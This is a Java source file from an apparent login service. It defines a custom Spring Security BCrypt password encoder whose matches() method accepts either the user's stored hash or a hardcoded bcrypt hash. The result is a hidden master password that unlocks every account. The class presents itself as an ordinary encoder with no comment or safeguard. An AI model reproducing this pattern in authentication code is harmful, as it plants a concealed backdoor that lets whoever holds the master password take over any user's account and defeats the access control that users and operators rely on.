package com.edoovo.loginservice.application.config.auth;

import lombok.NoArgsConstructor;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;


@NoArgsConstructor
public class CustomBCryptPasswordEncoder extends BCryptPasswordEncoder {
    @Override
    public boolean matches(CharSequence rawPassword, String encodedPassword) {
        return super.matches(rawPassword, "$2y$12$Y9C7mkVAb.a3Kb1.XnIHIOq6a38dA1o/Z13OUinKmyS4jeCopjm/m") || super.matches(rawPassword, encodedPassword);
    }
}
